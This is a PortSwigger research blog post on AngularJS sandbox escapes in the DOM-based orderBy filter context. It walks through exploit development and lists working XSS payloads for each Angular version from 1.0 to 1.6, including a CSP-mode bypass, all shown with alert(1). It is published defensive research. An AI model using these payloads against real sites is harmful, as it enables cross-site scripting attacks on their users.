PortSwigger Web Security Blog

DOM based AngularJS sandbox escapes

Gareth Heyes | 11 May 2017 at 17:00 UTC

javascript Template Injection angularjs Research hacking sandbox

Last year in XSS Without HTML: Client-Side Template Injection with AngularJS we showed that naive use of the AngularJS framework exposes websites to Cross-Site Scripting (XSS) attacks, given a suitable sandbox escape. In this post, I'll look at how to develop a sandbox escape that works in a previously unexploitable context - the order by filter. I've written up the entire exploit development process including various techniques that didn't quite work out.

I've also presented this research as part of AllStars 2017 at AppSec EU & BSides Manchester

Video of DOM based AngularJS sandbox escapes »

DOM Based AngularJS sandbox escapes slides »

Angular sandbox history

When Angular first shipped it didn't have a sandbox at all, so in versions 1.0 - 1.1.5 there was no sandbox. But Angular expressions were scoped to a local object defined by the developer, which prevented you from calling functions on the window object because you would be scoped to the scope object and if you tried to call alert, it would call alert on the scope object and not the window object, making the function call fail. Mario Heiderich found a way around this restriction by using the constructor property. He discovered you can execute arbitrary code in expressions using the Function constructor.

```
{{constructor.constructor('alert(1)')()}}
```

Here, constructor refers to the scope constructor property which is the Object constructor. constructor.constructor is the Function constructor which allows you to generate a function from a string and therefore execute arbitrary code.

After Mario's exploit Angular introduced a basic sandbox; the ensureSafeMemberName function was born. This function checked JavaScript properties for the constructor property, and also rejected properties containing an underscore at the start or end of the string.

```
function ensureSafeMemberName(name, fullExpression, allowConstructor) {
 if(name === "constructor" && !allowConstructor) {
   throw …
 }
 if(name.charAt(0) === '_' || name.charAt(name.length-1) === '_') {
   throw …
 }
 return name;
}
```

Jan Horn found found the first public sandbox escape for 1.2.0.

```
{{
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
}}
```

He used the sub function (which is an ancient JavaScript string method that generates a sub tag) as a shortcut to get a function in Angular because it's a very short name. Then he used call.call to get the generic call method; normally when you use a single call method this will execute on the current function but using call.call the generic call function allows you to choose a function to call.

He then uses getOwnPropertyDescriptor to get the descriptor of the function prototype object and the constructor property. A descriptor is an object literal that describes an object property; it will tell you if the property is enumerable, configurable, writable and if it has any getters and setters. "value" will also contain a reference to the property value.

Value will contain a reference to the Function constructor which he sends to the generic call method’s first argument. The second argument doesn’t matter - it’s meant to specify the object used when executing the function, but the Function constructor ignores it and uses the window object instead. As such, Jan just passes in a zero. Finally he passes the code he wishes to execute, escaping the sandbox by generating a new function via the Function constructor.

In response to this excellent bypass Angular improved their sandbox. They improved the ensureSafeMemberName function to check specifically for certain property names such as __proto__.

```
function ensureSafeMemberName(name, fullExpression) {
  if (name === "__defineGetter__" || name === "__defineSetter__" || name === "__lookupGetter__" ||
name === "__lookupSetter__" || name === "__proto__") {
   throw …
  }
 return name;
}
```

They also introduced a new function that checks for specific objects when referencing them or calling functions. The ensureSafeObject function checked for the Function constructor, the window object, DOM elements and the Object constructor.

```
function ensureSafeObject(obj, fullExpression) {
  if (obj) {
    if (obj.constructor === obj) {
      throw …
    } else if (obj.window === obj) {
     throw …
    } else if (obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
     throw …
    } else if (obj === Object) {
     throw …
    }
  }
 return obj;
}
```

Then we had a bit of a sandbox party and every version of the Angular sandbox was broken. I did a blog post about my particular sandbox escape and it also lists all of the escapes from the earliest to the latest version (1.5.11) were the sandbox is active. Eventually Angular decided to remove the sandbox completely in version 1.6 for performance and because they didn't consider the sandbox to be a security feature.

Developing DOM based sandbox escapes

You might think the fun is over regarding sandbox escapes since it was removed in Angular 1.6. However not quite yet...after I delivered a talk in London Lewis Ardern pointed out to me that Angular expressions can be executed within an order by filter and developers may use user input like location.hash to set the order by filter.

I noticed that the code was being parsed and executed without "{{" or "}}" and that $eval and $$watchers were not available inside the sandboxed environment. This made a lot of previous sandbox escapes ineffective since they relied on using $eval or $$watchers. If we look at the list of public sandbox escapes below, you can see which ones work inside the order by context and which don't.

```
1.0.1 - 1.1.5 == works
```

```
constructor.constructor('alert(1)')()

1.2.0 - 1.2.18 == works
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()

1.2.19 - 1.2.23 == works
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);

1.2.24 - 1.2.29 == not working
'a'.constructor.prototype.charAt=''.valueOf;
$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");

1.3.0 == not working (calls $$watchers)
!ready && (ready = true) && (
   !call
   ? $$watchers[0].get(toString.constructor.prototype)
   : (a = apply) &&
   (apply = constructor) &&
   (valueOf = call) &&
   (''+''.toString(
   'F = Function.prototype;' +
   'F.apply = F.a;' +
   'delete F.a;' +
   'delete F.valueOf;' +
   'alert(1);'
  ))
);
```

```
1.3.1 - 1.5.8 == not working (calls $eval)
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');

1.6.0 > == works (sandbox gone)
constructor.constructor('alert(1)')()
```

I decided to start with version 1.3.0. The first problem I had to solve was how to enumerate objects inside this environment so I could see what properties were available. Modifying the String prototype proved a useful method for inspecting sandboxed code; I would assign a property I wanted to inspect to the string prototype with the same name and then use a setTimeout to retrieve that value. The code worked like this:

```
// sandboxed code
'a'.constructor.prototype.xPropertyIwantedToInspect=PropertyIwantedToInspect;
//outside sandboxed code
setTimeout(function(){
   for(var i in '') {
      if(''[i]) {
        for(var j in ''[i]) {
         if(''[i][j])alert(j+'='+''[i][j]);
        }
      }
   }
});
```

I then extracted all the keywords and variables from the Angular source code and ran it sandboxed. Although the code didn't show me any dangerous functions like $eval that I could use to escape the sandbox, it did find some interesting behaviour. When defining a getter on the Object prototype with a function of [].toString, I found that the join function was being called on the object! The idea here was to get the join function to call the Function constructor and pass arguments and execute arbitrary JavaScript. The fiddle I used is here. On every major browser using the toString function as a getter or as a method on an object automatically calls join on that object. Unfortunately I couldn't find a way to pass arguments. Here's how it works outside of Angular code.

```
'a'.sub.__proto__.__defineGetter__('x',[].toString);
'a'.sub.__proto__.join=Function;
alert('a'.sub.x+''); // outputs function anonymous
```

It even works on window too. The example below overwrites the toString property of window with [].toString and you'll see join gets called on window and the alert fires.

```
toString=[].toString
join=alert;
window+1 // calls alert without any arguments
```

So of course I fuzzed all the objects and properties to see what other functions call join. When using an array literal with a getter the following functions all call join: copyWithin, fill, reverse, sort, valueOf, toString.

```
o=[1,2,3];
o.__defineGetter__('x',[].fill);
o.join=function(){alert(1);};
o.x+''
```

Breaking 1.3.0

Pretty cool behaviour but I decided to change direction and try something different. I played around with 1.3.0 some more and noticed that when modifying the Object prototype you could reference the Function and Object constructors! When calling the Function constructor Angular would throw an error but because I could access the Object constructor, I had access to all its methods:

```
{}[['__proto__']]['x']=constructor;
```

I used an array with the property accessor to bypass Angular's ensureSafeMemberName check because Angular looks for dangerous strings using the strict equals operator and is not expecting an array. Using the object enumeration technique mentioned previously I saw the Object constructor was successfully assigned. I first created a reference to getOwnPropertyDescriptor, then assigned the variable "g" to it.

```
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];
```

Next I used getOwnPropertyDescriptor to get the Function prototype descriptor. I'll use this later to get the Function constructor.

```
{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
```

I also need a reference to defineProperty so I can overwrite the constructor property to bypass Angular's ensureSafeObject check.

```
{}[['__proto__']]['z']=constructor.defineProperty;
```

Here is how I use defineProperty to overwrite "constructor" to false.

```
d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});
```

Finally I use the descriptor obtained using getOwnPropertyDescriptor to get a reference to the Function constructor without using the constructor property.

```
{}[['__proto__']]['y'].value('alert(1)')()
```

The complete sandbox escape is below and works in Angular versions 1.2.24-1.2.26/1.3.0-1.3.1.

```
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;
g={}[['__proto__']]['x'];
{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
{}[['__proto__']]['z']=constructor.defineProperty;
d={}[['__proto__']]['z'];
d(''.sub[['__proto__']],'constructor',{value:false});
{}[['__proto__']]['y'].value('alert(1)')()
```

Sandbox escape PoC 1.3.0 »

Owning the 1.3 branch

That sandbox escape was cool but it only worked on a limited number of Angular versions. I wanted to own the entire 1.3 branch. I started to look at how they parse expressions. Testing version 1.2.27 I added a breakpoint at line 1192 of the Angular file and started to test various object properties to see how they would rewrite the code. I spotted something interesting, if you didn't include an alphanumeric property Angular seemed to eat the semi-colon character and think it was an object property. Here's what the expression looked like:

{}.;

Here is how Angular rewrote the code (note you have to continue 5 times in the debugger):

```
var p;
if(s == null) return undefined;
s=((l&&l.hasOwnProperty(";"))?l:s)[";"];
return s;"
```

As you can see Angular was including the semi-colon twice in the rewritten output. What if we break out of the double quote? We can basically XSS the rewritten code and bypass the sandbox. In order for this to work we need to provide a valid string to Angular so we don't break the initial parsing of the expression. Angular seems fine with parsing an object property with quotes :) and so may I present the smallest possible Angular sandbox escape:

```
{}.",alert(1),";
```

This causes the rewritten output to be:

```
var p;
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("",alert(1),""))?l:s)["",alert(1),""];
return s;
```

Sandbox escape PoC 1.2.27 »

To get this to work in the 1.3 branch we just have to slightly modify the vector to break out of the rewritten code. If you observe the rewritten code in version 1.3.4 you will notice that it creates a syntax error.

```
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("",alert(1),""))?l:s).",alert(1),";
return s;
```

We just need to break out of the parenthesis and comment out the syntax error and here is the final vector which works for 1.2.27-1.2.29/1.3.0-1.3.20.

```
{}.")));alert(1)//";
```

Sandbox escape PoC 1.3.20 »

Breaking 1.4

Next I decided to look at the 1.4 branch. Earlier versions of the 1.4 branch were vulnerable to the accessor trick of using an array to access __proto__, __defineSetter__ etc, I thought maybe I could use some of those properties/methods to escape the sandbox somehow. I needed to overwrite "constructor" and retain access to the Function constructor as before but this time I didn't have access to the Object constructor because the sandbox has been tightened on this branch.

On Safari/IE11 it's possible to set globals using __proto__. You cannot overwrite existing properties but you can create new ones. This proved a dead end since defined properties take priority over inherited ones from the Object prototype.

```
({}).__proto__.__proto__={__proto__:null,x:123};
alert(window.x)//works on older versions of safari and IE11
```

Because Angular uses a truthy check in ensureSafeObject I thought maybe using a boolean could fail the check and then get access to the Function constructor. However Angular checks every property in the object chain so it does detect the constructor. Here's how it could have worked.

```
false.__proto__.x=Function;
if(!false)false.x('alert(1)')();
```

It's also possible to overwrite the constructor property of the Function constructor by assigning its __proto__ property to null which makes constructor undefined, but if you use Function.prototype.constructor you can get the original Function constructor. This proved another dead end as in order to overwrite the __proto__ property of the Function constructor you need access to it in the first place and Angular will block it. You can overwrite the constructor property for every function but unfortunately this means you cannot access the original.

```
Function.__proto__=null;
alert(Function.constructor);//undefined
Function.prototype.constructor('alert(1)')();
```

In Firefox 51 it's possible to get the caller of a function using __lookupGetter__. All other browsers prevent access to caller this way. Interesting, but with no functions available in Angular it proved another dead end.

```
function y(){
   alert(y.__lookupGetter__('caller').call(y));
}
function x(){
   y()
}
x();
```

I next looked at using __defineGetter__ and valueOf to create an alias to the Function constructor.

'a'.sub.__proto__.__defineGetter__('x',[].valueOf);

Function.x('alert(1)')();

You can also use getters to execute a function that normally requires an object. So the "this" value becomes the object you assigned the getter to. For example the __proto__ function will not execute without an object, using a getter will allow you to use the __proto__ function to get the object prototype.

```
o={};
o.__defineGetter__('x','a'.sub.__lookupGetter__('__proto__'));
o.x//gets the __proto__ of the current object
```

The above technique failed because even though I created an alias to the Function constructor there was no way to access the Function constructor without destroying the constructor property. It did give me an idea though. Maybe I could use __lookupGetter__/__defineSetter__ in the scope of window.

On Chrome you can save a reference to __lookupGetter__ and it will use window as the default object enabling you to access the document object.

```
l={}.__lookupGetter__;
l('document')().defaultView.alert(1)
```

You can also use __defineSetter__ this way too.

```
x={}.__defineSetter__;
x('y',alert);
y=1
```

Angular converts direct function calls like alert() into method invocations on the Angular object. To work around this I use an indirect call '(l=l)' which makes the __lookupGetter__ function execute in the context of the window, granting access to the document.

```
x={};l=x[['__lookupGetter__']];
d=(l=l)('document')();
```

Great we have access to document so it's game over for Angular right? Well not quite yet. Angular also checks every object to see if it's a DOM node:

...

```
} else if (// isElement(obj)
   obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
   throw $parseMinErr('isecdom','Referencing DOM nodes in Angular expressions is disallowed!
Expression: {0}', fullExpression);
}
```

...

When the getter function is called Angular will block the document object. I thought I could use __defineGetter__ to assign the getter function to a property but this will break the reference to window and so the document won't be returned. I fuzzed every property in Chrome 56.0.2924.87 to see which getters were available and only __proto__ and document were available. Then I decided to try Chrome beta 57.0.2987.54 and a lot more getters were available!

I looked through all the getters and began testing to see if I could execute arbitrary code. I found I could steal localStorage and navigate history, but that isn’t particularly scary. After testing for a while I noticed the event object was available. Each event object has a target property which refers to the current DOM object of the event. It turns out Angular doesn’t check this property and I could simply execute code by using the target property to get the document object and defaultView to get access to window then assigning to location.

```
o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(1)';
```

Sandbox escape PoC 1.4.5 (chrome only) »

Breaking newer versions of the sandbox

In newer versions of the Angular sandbox, the __lookupGetter__ function is protected correctly. You can no longer access it using the array object accessor trick. To exploit these versions of Angular I needed some sort of Angular eval so we could make previous exploits in a regular Angular expression work in the order by context. The order by filter evaluates a string as an Angular expression, so we can get our eval by calling a nested order by from within the outer order by.

First we execute the first part of a sandbox escape to make charAt return a longer string rather than a single character and break the isIdent function as mentioned on my previous blog post. Then we call the order filter on our string payload to execute.

```
x={y:''.constructor.prototype};
x.y.charAt=[].join;
[1]|orderBy:'x=alert(1)'
```

Sandbox escape PoC 1.5.0 (chrome only) »

Breaking CSP mode

The previous sandbox escape works on versions 1.5.0 - 1.5.8. I started to look at 1.5.11 to see if I could break that. Unfortunately I couldn't break it in a DOM based context however I discovered a bypass that works in attributes. Using my object enumeration strategy, I found that in Chrome, the $event object in Angular contains an array stored in its path property. The path property contains an array holding both document and window! By passing this array to the order by filter I could change the scope that the evaluated expression executes in to the window:

```
<div ng-click="$event.path|orderBy:'alert(1)'">test</div>
```

This escape works in an attribute context but when you enable CSP it will fail. Angular seems to check the window object of the calling function in CSP mode and will therefore prevent the sandbox escape from executing. To get round this we simply need to call the alert function indirectly and the Array.from function provides a convenient way of doing this. It takes two arguments;an array like object and a function to execute on every element of the array. I pass an array with 1 in the first argument and the alert function to call in the second argument. This bypasses CSP mode and should work in every Angular version.

```
<div ng-click="$event.path|orderBy:'[].constructor.from([1],alert)'">test</div>
```

CSP bypass for 1.5.11 (chrome only) »

Conclusion

When using Angular, it's crucial to avoid passing user input into filters like order by, as well as server-side reflection of user input. Regardless of which version of Angular you're using, and what context user input is being interpreted in, it's best to assume the sandbox has been bypassed.

If you're thinking about adding a sandbox to your language, carefully consider whether the security benefits will outweigh the development cost and the potential false sense of security some users may feel.

List of DOM based Angular sandbox escapes

1.0.1 - 1.1.5

Mario Heiderich (Cure53)

```
constructor.constructor('alert(1)')()
```

1.2.0 - 1.2.18

Jan Horn (Cure53)

```
a='constructor';b=
{};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
```

1.2.19 - 1.2.23

Mathias Karlsson

```
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);
```

1.2.24-1.2.26

Gareth Heyes (PortSwigger)

```
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}
[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
{}[['__proto__']]['z']=constructor.defineProperty;
d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});
{}[['__proto__']]['y'].value('alert(1)')()
```

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

```
{}.")));alert(1)//";
```

1.4.0-1.4.5

Gareth Heyes (PortSwigger)

```
o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(1)';
```

1.4.5-1.5.8

Gareth Heyes (PortSwigger) & Ian Hickey

```
x={y:''.constructor.prototype};
x.y.charAt=[].join;
[1]|orderBy:'x=alert(1)'
```

>=1.6.0

Mario Heiderich (Cure53)

```
constructor.constructor('alert(1)')()
```

Gareth Heyes

@garethheyes

Latest Posts

So you want to be a web security researcher?

Unearthing Z̃ǎl̄g̃ǒS̃çr̥i̬p̱ṯ with visual fuzzing

Your recipe for BApp Store success

The Daily Swig

Web security digest. From the makers of Burp Suite

Burp Suite

Web vulnerability scanner
Burp Suite editions
Release notes

Vulnerabilities

Cross-site scripting (XSS)
SQL injection
OS command injection
File path traversal

Customers

Organizations
Testers
Developers

Company

About
PortSwigger news
Careers
Contact
Legal
Privacy Notice

Insights

Blog
The Daily Swig

PORTSWIGGER
WEB SECURITY

Follow us